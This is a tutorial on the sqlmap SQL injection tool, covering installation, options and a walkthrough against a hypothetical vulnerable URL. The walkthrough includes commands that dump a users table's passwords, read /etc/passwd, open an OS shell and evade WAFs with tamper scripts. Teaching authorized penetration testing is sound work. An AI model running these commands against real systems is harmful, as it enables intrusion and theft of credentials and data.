Guide to sqlmap: Automating SQL
Injection Testing with Examples
Introduction
sqlmap is an open-source, automated tool designed for identifying
and exploiting SQL injection vulnerabilities in web applications. Written in
Python and maintained by Bernardo Damele and Miroslav Stampar, sqlmap
simplifies the process of detecting SQL injection flaws, extracting database
information, and performing advanced attacks like privilege escalation and file
system access. It supports a wide range of database management systems (DBMS),
including MySQL, PostgreSQL, Oracle, Microsoft SQL Server, and SQLite.
This
article provides a detailed tutorial on sqlmap, covering its installation, key
features, usage, and a practical example of testing a vulnerable web
application. Aimed at penetration testers, bug bounty hunters, and security
enthusiasts, this guide assumes basic knowledge of web security and
command-line interfaces. All examples are for educational purposes and must
only be performed on systems you have explicit permission to test.
What is sqlmap?
sqlmap
is a command-line tool that automates the process of identifying and exploiting
SQL injection vulnerabilities. It uses techniques like boolean-based blind,
time-based blind, error-based, UNION query-based, and stacked queries to
interact with the database. By sending crafted HTTP requests, sqlmap can detect
vulnerabilities, enumerate database structures (e.g., tables, columns), extract
data, and even execute commands on the target server in advanced scenarios.
Key Features
- Database Support: Works with MySQL, Oracle, PostgreSQL, Microsoft SQL
Server, SQLite, IBM DB2, and more.
- Injection Techniques: Supports multiple injection methods:
- Boolean-based blind: Infers data through true/false responses.
- Time-based blind: Uses delays to detect responses.
- Error-based: Exploits database error messages.
- UNION-based: Combines query results.
- Stacked queries: Executes multiple queries in one request.
- Enumeration: Extracts databases, tables, columns, and data.
- Advanced Features:
- File system access (read/write
files on the server).
- Operating system command
execution.
- Password cracking (e.g.,
database user hashes).
- Customization: Supports custom queries, tampering scripts, and proxy
integration.
- Automation: Can crawl websites, detect injectable parameters, and
integrate with tools like Burp Suite.
- Output: Saves results in text, CSV, or JSON formats for
analysis.
System Requirements
- Operating System: Linux (Kali recommended), Windows, macOS.
- Dependencies: Python 3 (2.6+ for older versions, though Python 3 is
standard).
- Hardware: Minimum 2GB RAM; 4GB+ recommended for large scans.
- Optional: Proxy tools (e.g., Burp Suite) for advanced testing.
Installation Guide
sqlmap
is pre-installed on Kali Linux but can be installed on other systems via GitHub
or package managers.
Method 1: Kali Linux
- Update Kali:
2. sudo
apt update
sudo
apt install sqlmap
- Verify:
sqlmap
--version
Output:
sqlmap/1.9.8#stable (version may vary).
Method 2: GitHub Clone
- Install Python 3:
sudo
apt install python3 python3-pip
- Clone the repository:
3. git
clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap
cd
sqlmap
- Run sqlmap:
python3
sqlmap.py --help
Troubleshooting
- Permission Errors: Run with sudo or as root.
- Updates: From the sqlmap directory, run git pull to update.
- Dependencies: If errors occur, install missing Python modules with
pip3 install -r requirements.txt.
Using sqlmap
sqlmap
is a command-line tool with extensive options. Run sqlmap --help for a full
list. Below are common commands and their purposes.
Basic Command Structure
sqlmap
-u <URL> [options]
- -u <URL>: Target URL with
parameters (e.g., http://example.com/page.php?id=1).
- --dbs: Enumerate databases.
- --tables: Enumerate tables.
- --columns: Enumerate columns.
- --dump: Dump table data.
- --batch: Non-interactive mode (uses
defaults).
- --tamper: Use tampering scripts
to bypass WAFs.
Key Options
- Target Specification:
- -u: Single URL.
- -r <file>: Use a saved
HTTP request (e.g., from Burp Suite).
- --data: POST data (e.g.,
--data="username=admin&password=test").
- Injection Points:
- -p <parameter>: Specify
injectable parameter (e.g., id).
- --level: Test depth (1–5,
higher includes more tests).
- --risk: Risk level (1–3,
higher is more aggressive).
- Output:
- --output-dir=<path>:
Save results to a directory.
- --csv-del=<delimiter>:
Export data as CSV.
- Advanced:
- --os-shell: Attempt to gain an
OS shell.
- --file-read=<file>: Read
a file from the server.
- --tamper=<script>: Use
scripts to evade WAFs (e.g., tamper=space2comment).
Integration with Burp Suite
- Configure Burp Proxy (see
previous Burp Suite tutorial).
- Capture a request in Burp’s Proxy
> HTTP history.
- Right-click and save to a file
(e.g., request.txt).
- Run sqlmap:
sqlmap
-r request.txt --dbs
Practical Example: Testing for SQL Injection
This
example demonstrates using sqlmap to test a vulnerable web application, such as
a lab from Web Security Academy
(https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data).
We’ll use a hypothetical URL http://example.com/vuln.php?id=1.
Step 1: Basic Vulnerability Check
- Test the URL for SQL injection:
sqlmap
-u "http://example.com/vuln.php?id=1" --batch
- sqlmap identifies the parameter
id as injectable (e.g., via boolean-based blind). Example Output:
3. [INFO]
the back-end DBMS is MySQL
4. [INFO]
testing 'MySQL >= 5.0 AND error-based'
[INFO]
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]
Step 2: Enumerate Databases
- List all databases:
sqlmap
-u "http://example.com/vuln.php?id=1" --dbs --batch
Example Output:
available
databases [2]:
[*]
information_schema
[*]
vuln_db
Step 3: Enumerate Tables
- Target the vuln_db database:
sqlmap
-u "http://example.com/vuln.php?id=1" -D vuln_db --tables --batch
Example Output:
Database:
vuln_db
[2
tables]
+----------+
|
users |
|
products |
+----------+
Step 4: Enumerate Columns
- List columns in the users
table:
sqlmap
-u "http://example.com/vuln.php?id=1" -D vuln_db -T users --columns
--batch
Example Output:
Database:
vuln_db
Table:
users
[3
columns]
+----------+---------+
|
Column | Type |
+----------+---------+
|
id | int |
|
username | varchar |
|
password | varchar |
+----------+---------+
Step 5: Dump Data
- Extract data from the users
table:
sqlmap
-u "http://example.com/vuln.php?id=1" -D vuln_db -T users --dump
--batch
Example Output:
Database:
vuln_db
Table:
users
[2
entries]
+----+----------+------------+
|
id | username | password |
+----+----------+------------+
|
1 | admin | secret123
|
|
2 | user | pass456 |
+----+----------+------------+
Step 6: Advanced Exploitation (Optional)
- Attempt to read a file (e.g.,
/etc/passwd on Linux-based servers):
sqlmap
-u "http://example.com/vuln.php?id=1"
--file-read="/etc/passwd" --batch
- Gain an OS shell (if
supported):
sqlmap
-u "http://example.com/vuln.php?id=1" --os-shell
Step 7: Using with Burp Suite
- Capture a POST request in Burp
(e.g., a login form with username=admin&password=test).
- Save to login.txt.
- Run:
sqlmap
-r login.txt -p username --dbs --batch
- sqlmap tests the username
parameter and enumerates databases.
Visual References
sqlmap
is a command-line tool, so visuals are primarily terminal outputs. For
screenshots:
- Official GitHub: https://github.com/sqlmapproject/sqlmap (README
includes command examples).
- Web Security Academy: https://portswigger.net/web-security/sql-injection
(labs show sqlmap in action).
- Medium Tutorials: Search “sqlmap tutorial” for articles with terminal
screenshots (e.g.,
https://medium.com/@youritguy/sqlmap-an-automated-tool-for-sql-injection-and-database-takeover-8c3af07a7f8b).
Best Practices and Tips
- Legal Use: Only test systems you have explicit permission to
scan. Unauthorized testing is illegal.
- Start Simple: Use --batch for quick tests; increase --level and
--risk for thorough scans.
- WAF Evasion: Use --tamper scripts (e.g., tamper=space2comment) to
bypass web application firewalls.
- Proxy Integration: Route through Burp Suite
(--proxy="http://127.0.0.1:8080") for detailed analysis.
- Performance: Limit scope with -p to specific parameters for faster
scans.
- Output Management: Use --output-dir to organize results; review logs in
~/.sqlmap/output/.
- Learning Resources:
- Official Docs: http://sqlmap.org/
- GitHub:
https://github.com/sqlmapproject/sqlmap
- Web Security Academy: SQL
Injection labs (https://portswigger.net/web-security/sql-injection).
- TryHackMe: Rooms like “SQL
Injection” cover sqlmap usage.
Conclusion
sqlmap
is an indispensable tool for penetration testers, automating the complex
process of SQL injection testing. By mastering its commands and options, you
can efficiently identify vulnerabilities, extract sensitive data, and simulate
advanced attacks. Always use sqlmap ethically and in authorized environments,
such as lab setups or bug bounty programs. For hands-on practice, explore Web
Security Academy or Hack The Box labs.
Author: Engr. M A Rashid Rony
Date: September 6, 2025
For updates, visit: https://github.com/sqlmapproject/sqlmap